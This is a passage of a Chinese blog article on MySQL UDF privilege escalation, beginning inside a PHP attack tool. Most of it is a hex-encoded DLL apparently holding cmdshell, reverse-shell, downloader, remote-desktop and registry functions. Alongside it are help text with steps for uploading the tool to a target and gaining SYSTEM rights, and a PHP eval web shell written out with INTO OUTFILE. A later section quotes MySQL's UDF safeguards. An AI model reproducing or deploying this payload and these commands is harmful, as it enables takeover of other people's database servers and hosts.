810ca2c671715c09b2dfc52167240be4a6cdbc905ec95f8604149cbc9cf560f004c608306e2f90bc703be4d257c885bb7c6375a8a988431b1dde742064f0fc4b8d294c8b34844e383c1ca393acadf1c1da8ff9b13f4c70ed8208ee2c0670c1aed365ba0fce7d874fcc0addd9d74077e9d9cb230545ee35dacee2605b29a7f863bc58e0b2423a7b3a2326563210329a492cabc9f44406de4e8c14fb78d9059dbc286b6b27f01dbdc947caccee3675c19f54118d5ea0b98740e9102d2459c63811876d0a0ecd9bd55edaa60e4eecfbdef30a9ac33f952402a62c97dcb061d018c0fc6ee2760ca2eaadcdf6b397135c7875c47c36852076d607d4aac060812f601ac6f73dce3c7f50bb4aeb5369ebf65e14f43078de0dce84b270a743134db987b17710fc0d863a4791cee861a0a5568be977b1cf3b2e1eca312542df4324575f8c3e4661ed2b955bb7c48077d4952193496265740f6de6955e935cd67df798c2f77b645cb33ff297d90de4eee66384f8f5eaf5c761cde263c60619c1e1c09995d7799cc74689071abc4d310fc08f6d069cd4aa32e47beea8438d6b9aa9bdc100671c2e1b17e2014cbc782e2c7972bff99785bd2e4f2af6e6d7f46aaecc6958ddeabb52b4e93ca67fd2741af101cda966e83f822e29ec180c2bfb704a666fb9dde2ddbe8d389e98c3e3d360037860fce71598fd3444d133c21feddb993371f5f704d4ead8a116fbd09550382b62ffa1fa179b8b6eb1c9611f16a0bf4ec475aa9fb951c19c468f94fd1c2d3ec793bce76a50969ff8f39214de1f714633bbd8aced6b71034b95c38a640c51289794c4191499f9bf013e5aa9e9928b675e96ce2358b14abac50cde601ee9fdba355bc0d48900ded3bba6d8e761a5b36ab0b2480422889d0081a3adccf83cc621fbc5e110c2d2e9a5d9dab399a324c7d01ff7dac85933351e552b7b0fe2132b319b630f93e642aeb2af777627148aff3ebbf6dfebdd1985e91cdbe9a4b47bbc7e189cfd4a9de568d974d13b596f4b5c10a01b487e1191b8e742aa752ae89147256501e30918f7be67e03b4f4869c55817dd2358e438359b7cd22fd1affabd78518b91f3248e2d839ade3dcfaba45ab72519c5fcc6d7db4bee7840c1b2c23834c7d8079d42c4ff6b8b9291e0e5773b41b716bd6ea94ab8e8934eb81e9326737a06b320b1c98919f8654b0c6e2ce3b792f42465f4506e54900a654233b468ded6bcf7b99fe25754c35cb1c67dee159d9db365eda9fa979115b668008c15f3564401b4b74e082355a596b776ab5c14a7d998f844a48c8e1bf5406dddf8b56c6641dbf0cd68e7e98a2e8d2b829ee342ee65ae34c23b9d2823768fbd80024db4970abccdf91b0e92ae2fbeb2822633ee42dc7622e2ef9c7b0b60dcdd181e2271cef8e0a4a161c700b17c40fea711edd36ca33513d433f109c657d4b610be67f5b17ea714162dbf40e74576613a316bdc75f3572c0dc12fe3c7487249d00c5afaa4ad3d854ba763dabc807da78996e6585b9a6bcfe2956ee3691778ea9d6ee8027e309b066d67116d0c2eafcad749a4858c362aa0eb6d56a28aee9a2bdf22b401c6361d8d13818dbdb2e220ecddb361b622b3f1577fd50722b4f9523378249a4d5968bcf6214c9837991a576e07b556dedfe9d1e7613ee28e1edfd080c943e518582fcb90f41cc60e74a22953d67a042fb24b522db482529b6348645c622dda250b3506ce19c9f2cdb202a454db52f3f73be52026726147717f70b7d3872e4c945104eca84d4f652ac71e87c4b94470626784c6654fdd968dd81d472745d4720341d9307e436a92b29b1a419bf024b70700a0d2c1133c3911f081ba1bce9dd0b74499fc6da58e19165d5e452c8469aac1e2a2e5687b98e081f05e73122b7b4bac513d7ec8a940c648b44bba80076273189858549b283ab363d0eb9e8962462a24f1bbd96db00922744e9484f09aae326461e57da8679c14d41b1986f33682aa70d91efe6d0dd81b65d26000463b8c3429c8f93f0801d71ab1123611b93e5f3a7a278c363c6797957950849f39974d6193ab8fdef30087e1fc96db7c3b78c11c4be00ae617a04e27c74f5c83cc81a95a5cedb752118622f6196fb9853fce4897de28494d5d94763cacd6e8d97892fe00380a2a34fa194882958020ed4b39800b2b01306475074cca32d398589d4ca1686ee3a11b1f918b89948927ee3a097f737456cb43e774bf1913c7c7431b911071a4c4bd30e96e28f0d786d3826ee76c53cc875f5b827e203a8702bba2b4760d0f22f58e56180744172384f5abc11d833bf1201387ba60af29a88da9161af85a07eb4c30deb23732d60e82d415d6bd9eeae750b9284be41c5efab738a1ca5702686579806948960390ed4c0ca7d219eb1ed0cc479c4c516589783c784dbeb284e0d50ad2856b81737d1012273e69f91fbd05fa0ff37283cb44d10f41c44665ced2c42ccc15c365c05f2fbd5a7b99975627c99f5ba39e3dfe1a0b9b6efe4f9d859d33f7a5d9b080b1b7ae7d026c7d0c52ec3dc4a60e5cc7fd7c0faa209f46d531611d88635e8da5b6cbff371d6cdb40eaf94f44a90f5ef96d54a1c148c140feb739837c52c56119c1fbe898ab2242972e028faff901de8679f2d83d3e8094453a80f163dfd6218b72ecbee21a2770d4d0fa9cfe524e8d918d59df5e0e260686966e021d93504fe98e8a5a3113bfdc29a4732ee00c31b6b9471ffe1bdd91625ba0dc6314e2f7c6d14903995692a5730580894c6875679680d71d4470557c76cca1317fa1e3a437c0bb133b98b2b1934ec5ae18dca6b69f3854eae3e9156ed84abe3112abed69eb79c1251126e14b9b3924ee2453d7f3b216d22649464155a0591fc0af92ea6b810e66cce1db14d168161fc7883e994c7f0a5ff401e3f9c1f08439e4333f553c1b84b308ee8fbb2d13f8ff8247aef5b1ca08f1028d70840ea0aa923a1ed861e42358b7ae207a156e333d0f1aed6534b9a4e68b3922d4586598b710128e901855c95fa47bca65bdce83540d78a774028838677d6075eb1ecfd0ecec38650ccc45a05edda1a8e414056aa4db23404ee8fd9411f8f78930ca9713d6d465f95d0bc687bc39f27c2c0057a50e92a0c95e4f4b37411028a07ae76cf3260bb086ee656c033a3ef5b89fbc97996e06243d3f33851476afd328da79f62d1e95a27bf451b943766a50c238ad4b3dece8f4049686494642bca8ae162c69c48c8b9a89161572808b691c5638af59d2bf26b68af0a3adf17eed396890cfcec6e8aaa42742a5fe92073d66d3e2b7baa8f6c473e2f48e9c9e0f7b0b7f7f37399784a2937cc6dcd4871724b2d33a6be15add1908800c8cf92fde2d6fca5a2f55e46a9e2e19ce040739500b33100cce91b6da78009e61b066448dbe4226cc2fb0ee6a027112d9b2e200bf7d197889b3d0f945032488f614a6803b3119b368322825ce5b235a69a6f147ac2341195aa5f3c190eca877c3c66508d99f968d6a350290dffb9da9c4fb4f60b368d3aaa809fc127b2a0bd8eaefb1fa4ccda9d168065ecbbd4766b173e886abce1cf23053a4855e1d6e2f4fb2bf9c07c56fc6d2f27acb2ef8c2f012cc2898b56f32c02a70c5009dd8e35797717ffdcbd233256161ee254d1b1accd2b6133a5fc376babdc4c0d5811c89deadaed2ef047c6364a690fe998b944e996fcbf8c237dbeebf6d764f713a39e8e01efa008b949b13ae7e04017bf1d85071928869984bf78f6a3695586492efae813ce2c252dc92fb8db3beb32cb78a5b057ef9f6bc3524e462c121f4c6c3b29083979c85cfc73e8e5b2500e9785eaf5ea409134606c8a50f1fc68571303807ac06ef9bdc138cdaf1d545b361b25ec793a30c765de9b4199076f41da8ae675a21f321a4060eee1fc25bc992561ef6c1b332747f9b4517c316dd1d68b950c671cd3ea2e42480a0b82901058b355b59bf72d65f6eb33f3f49bb9bef7b514b908255051e8385386939423d47625377cfbe22f85b904dc6029c207a65288e98ff01f215c12507ce986939be440458c000f9475cb4b4704dacb7656330bd06485064678fc603392ecf35a512d76382232fe2889b8e0e7418e9264c0ff1120a56c63b3c08c0eb703464c1c4dd4ba417d11ddec9f67d814ee0c5df50c173b2634c8b6b18cda4d86047a47579847bd1490aca83c8be538bb02f4569d2e200daffd04a47089bbdb0acdf3d2e2772a0fb12d37485ec8883c1253bc84457f3670704b9ee898e978a5593b73aeef92f10f9020ec60cee25e327fe2055c0b29125f72ff67d28b31bdc778d74bd1c39ed6bf2c44ecc2a61ea5f742f6a0c1857001c1b07e56db98c6db1331bdc727a7dc98d2a3f5c5f7cba0c2fc783155c08e4eb337138dd2fc43c6aa607722b0cb90f6afe3f1226d31d5237851cc1dfed5dbc055027361094c50c67b7be979e07c9d5a3f698a9871ae81bcf53c70c611f5de85ccebf2a10cf7016e10483c6125ae8c5660f9269480ae025af71d8923d9ea95b20abe3c71e97e59b8278271dc5722dca6883ba3fc70dd206fb555af8206b03180dae4538642c1d88eea507d8d2cd3cf435660614f87f10cce23786e9376f51e47e4d3202499fa1e3fb3e2e0549e6ef0880fab18dd3032d55b32d484217349380806a72e46888d9b57bccc8aec8be2bd30007367de32d69c5b950fc82ae6b32bd7f512321c7bac127ffeb31c2d52c779ae836304f63cf89c2ec612cd32edec1fa2a7f9c128b6db5f064457dcc9817640a1d0edfce1776f20a4f531f59035345f668bea438eb47e0659f0b1e4180090a81653c7e5303739a6f87b51bef9491d498d1a51e9802d12842f5dd845a3dc54a82ee140424e26c6025939a116092a30a7ab03745b0e5ac7983b0c4537bcda2393ad2d6d24dc642c3e1aa38b4b83679722b97469f3f0e28d1aad08daabbdf3f0335f0abfd33b9bdcfc8f95829ca6064853ad2a2e856771e0c0c952369705cdef3b919340e086e073ddd9c9896e783f3610cb4ae23aa06d2bfc281bdf515696bdf1ae28eb7f8cb1e3280ca948e3d2c89b1ccb7f341fefc7ea193c7477e3d81df3799a685fa2dbd1aa8f7c6d164fa73f44c306fd495979b5b03ad9e29995ab445a89ee792b7cbe5c4829204d3418a29a6e5bc1375d575860f01fa456d8efe52b50f64f221b9372551a5d491ae31660c4928176d974136903e8cd04779424a9d09dec08654ba8bb880bdde1120039f89d38eccbac4436bf382e4e73956ee3b2be95a6659cb96412b14032b5676a321173882ae645390237ced2d62eeaae20f3f52e4c164ce074e0e2cad94dd4c189f19b88991aebc2cffcf522b373d7644c026fd890e0b652261af984a1469ce004fd3464b3949812bc602eeb055c72b2e645a3ace286d9e7d924b0604043e632a3ca026699de5484bcfa7001d5b479761a99eda72d51c9de7345ce00d4c35dfb044b8907fe1bbcb58f5b207aa748746af5e2837116c2f75d4371705986868f6de4e700fc56b91c86c1d3cb4c5c3c9016c3ab6379895fd56adc7c0613eba6d239df1bc48e218233b370930b9dd78627c87c89a4237b00f51b12f75227807372b3204e67138359a647bbe5e8f2f9114ca5518d4c582de609c2958058ce5cf095d5233abf344648bf2a91aa61cf13d6fcaf526e8c69d8a0cccd3aaf850798bc8802a2896a737eb791de6bf660e042843df3e8b68fca1065c5963fd128c7e8f1e9971f5a9f9d7131f075a98143a4de0e456eee823cf6988192a4e372172bdfbf7301bef7d260bb60126a1356857d698df62b5e7ac5e02b4bdc0f1eb22d953b95fa0c6b802f2235bbc31d04d11b46d2da5d8cd6d4f2fad666b3c0060e809000000bb930200e90602000033c95e870ee3f42bf18bdead2bd8ad03c35097ad91f3a55ead5691011eade2fbad8d6e10015d008d7d1cb51cf3ab5ead53505197588d54855cff1672572c037302b0003c0772022c03500fb65fffc1e303b3008d1c5b8d9c9d0c100000b001e3298bd72b550c8a2a33d284e90f95c652fec68ad08d1493ff165a9f12c0d0e9740e9e1af274e4b40033c9b501ff560833c9ff661cb1308b5d0c03d1ff16734c03d1ff16721903d1ff1672293c07b0097202b00b508bc72b450c8a00ff661883c260ff16875d10730c03d1ff16875d147303875d183c07b0087202b00b50538bd5035638ff560c5b91ff66303c07b0077202b00a50875d10875d14895d188bd503563cff560c6a035950483bc172028bc1c1e006b1408d9c857c030000ff56043c048bd8725f33dbd1e813db48439143d3e380f9058d949d7c010000762e80e90433c08b5500d16d088b120fca2b550403c03b550872078b550840015504ff5610e2e0b104d3e003d88d551c33c0534051d3e08bda91ff560433d259d1e813d2e2fa5b03da4359895d0c568bf72bf3f3a4ac5eb180aa3b7e247303ff6620588b4e405f5a57e31b8a074704183c0273f78b073c0775f1b0000fc80346142bc7abe2e58b5e2856528b762c46ad85c05a742203c2525697ff53fc95ac84c075fb380674e78bc679054633c066ad5055ff13abebe7595f8b4944e30d33c0ac3c04720c03f80117e2f361e9e89bfdff2c017208740ac1e008acebe866adebe4adebe1508b450852c1e80bf7228b55008b120fca2b55043bc25a761089450833c0b4082b02c1e8050102eb0e0145042945088b02c1e8052902f9589c807d0b00750bff4500c1650408c16508089dc333c0408d1483ff1613c03bc172f52bc1c3b108ff168d5204b001730bff16b0097305c1e105b011508d1c82ff56045b03c3c30e0000001e00000000000000000000000000000002000000e99702000000000000000000000000000000000000000000010000001e0000001e00000031980200e5980200a99802006022000060290000b0240000c024000060290000b0240000802c000060290000b02400008029000060290000b02400002010000060290000b02400003014000060290000b02400009016000060290000b0240000601b000060290000b0240000b01e000060290000b0240000a026000060290000b024000000000100020003000400050006000700080009000a000b000c000d000e000f0010001100120013001400150016001700180019001a001b001c001d005d990200699902007c9902008d99020099990200ac990200bd990200c3990200d0990200db990200e5990200f6990200059a02000e9a02001e9a02002c9a0200379a0200499a0200599a0200629a0200729a0200809a0200889a0200979a0200a49a0200ad9a0200bd9a0200cb9a0200d09a0200dc9a02004b696c6c50726f63657373004b696c6c50726f636573735f6465696e6974004b696c6c50726f636573735f696e69740050726f63657373566965770050726f63657373566965775f6465696e69740050726f63657373566965775f696e69740061626f75740061626f75745f6465696e69740061626f75745f696e6974006261636b7368656c6c006261636b7368656c6c5f6465696e6974006261636b7368656c6c5f696e697400636d647368656c6c00636d647368656c6c5f6465696e697400636d647368656c6c5f696e697400646f776e6c6f6164657200646f776e6c6f616465725f6465696e697400646f776e6c6f616465725f696e6974006f70656e33333839006f70656e333338395f6465696e6974006f70656e333338395f696e6974007265677265616400726567726561645f6465696e697400726567726561645f696e69740072656777726974650072656777726974655f6465696e69740072656777726974655f696e6974007368757400736875745f6465696e697400736875745f696e697400"; } function mysql_help() { ?> <br> 一、功能:<font color="#558866" size="3">利用MYSQL的Create Function語句,將MYSQL賬號轉化為系統system權限。</font><br><br> 二、適用場合:<font color="#558866" size="3">1.目標系統是Windows(Win2000,XP,Win2003);2.你已經擁有MYSQL的某個用戶賬號,此賬號必須有對mysql的insert和delete權限以創建和拋棄函數(MYSQL文檔原語)。</font><br><br> 三、使用幫助:<br> <font color="#558866" size="3"> 第一步:將本文件上傳到目標機上,填入你的MYSQL賬號經行連接。<br><br> 第二步:連接成功后,導出DLL文件,導出時請勿必注意導出路徑(一般情況下對任何目錄可寫,無需考慮權限問題),對於MYSQL5.0以上版本,你必須將DLL導出到目標機器的系統目錄(win 或 system32),否則在下一步操作中你會看到"No paths allowed for shared library"錯誤。<br><br> 第三步:使用SQL語句創建功能函數。語法:Create Function 函數名(函數名只能為下面列表中的其中之一) returns string soname '導出的DLL路徑';對於MYSQL5.0以上版本,語句中的DLL不允許帶全路徑,如果你在第二步中已將DLL導出到系統目錄,那么你就可以省略路徑而使命令正常執行,否則你將會看到"Can't open shared library"錯誤,這時你必須將DLL重新導出到系統目錄。 <br><br> 第四步:正確創建功能函數后,你就可以用SQL語句來使用這些功能了。語法:select 創建的函數名('參數列表'); 每個函數有不同的參數,你可以使用select 創建的函數名('help');來獲得指定函數的參數列表信息。<br><br> 第五步:使用完成后你可能需要刪除在第二步中導出的DLL,但在刪除DLL前請先刪除你在第三步中創建的函數,否則刪除操作將失敗,刪除第三步中創建的函數的SQL語句為:drop function 創建的函數名;<br><br> </font> 四、功能函數說明:<br> <font color="#558866" size="3"> cmdshell 執行cmd;<br> downloader 下載者,到網上下載指定文件並保存到指定目錄;<br> open3389 通用開3389終端服務,可指定端口(不改端口無需重啟);<br> backshell 反彈Shell;<br> ProcessView 枚舉系統進程;<br> KillProcess 終止指定進程;<br> regread 讀注冊表;<br> regwrite 寫注冊表;<br> shut 關機,注銷,重啟;<br> about 說明與幫助函數;<br> </font> <? exit; } ?>
測試效果
//注意,linux下只能向plugins目錄寫入udf so SHOW GLOBAL VARIABLES LIKE 'plugin_dir'; +---------------+-------------------------+ | Variable_name | Value | +---------------+-------------------------+ | plugin_dir | /usr/lib64/mysql/plugin | +---------------+-------------------------+ select '<?php @eval($_POST[pass]);?>'INTO OUTFILE '/usr/lib64/mysql/plugin/exehack.so';
Relevant Link:
http://www.0x7c.com/?p=687 https://www.91ri.org/3183.html https://hack0nair.me/2013-05-01-udf-privilege-escalating-on-mysql/ http://www.kissthink.com/archive/3239.html
9. UDF提權防護
MySQL takes several measures to prevent misuse of user-defined functions.
1. UDF object files cannot be placed in arbitrary directories. They must be located in some system directory that the dynamic linker is configured to search. To enforce this restriction and prevent attempts at specifying path names outside of directories searched by the dynamic linker, MySQL checks the shared object file name specified in CREATE FUNCTION statements for path name delimiter characters. 2. As of MySQL 5.0.3, MySQL also checks for path name delimiters in file names stored in the mysql.func table when it loads functions. This prevents attempts at specifying illegitimate path names through direct manipulation of the mysql.func table. 3. To use CREATE FUNCTION or DROP FUNCTION, you must have the INSERT or DELETE privilege, respectively, for the mysql database. This is necessary because those statements add and delete rows from the mysql.func table. 4. UDFs should have at least one symbol defined in addition to the xxx symbol that corresponds to the main xxx() function. These auxiliary symbols correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and xxx_add() functions. As of MySQL 5.0.3, mysqld supports an --allow-suspicious-udfs option that controls whether UDFs that have only an xxx symbol can be loaded. By default, the option is off, to prevent attempts at loading functions from shared object files other than those containing legitimate UDFs. If you have older UDFs that contain only the xxx symbol and that cannot be recompiled to include an auxiliary symbol, it may be necessary to specify the --allow-suspicious-udfs option. Otherwise, you should avoid enabling this capability.
Relevant Link:
https://dev.mysql.com/doc/refman/5.0/en/udf-security.html
10. Windows/Linux下UDF.so的目錄限制
0x1: Windows
1. [ ~ , mysql 5.0]: 對任何目錄可寫,無需考慮權限問題 2. 5.0, 5.1]: 必須將DLL導出到目標機器的系統目錄(C:\WINDOWS或C:\WINDOWS\system32),否則在下一步操作中你會看到"No paths allowed for shared library"錯誤(因為5.0之后不允許使用全路徑加載UDF) 3. [5.1, ~]: 不能導出到系統目錄,導出到需要使用 show variables like '%plugin%'; 語句查看插件安裝路徑。導出dll時指定此路徑,然后在下一步操作中就可以直接填文件名即可
0x2: Linux
Linux環境下Mysql只能將從plugins目錄加載so
show variables like "%plugin%"; select unhex('7F454C46020...') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so'; create function sys_eval returns string soname "mysqludf.so";
Relevant Link:
http://www.phperz.com/article/16/0318/198579.html http://jzking121.blog.51cto.com/5436671/1541379
Copyright (c) 2015 LittleHann All rights reserved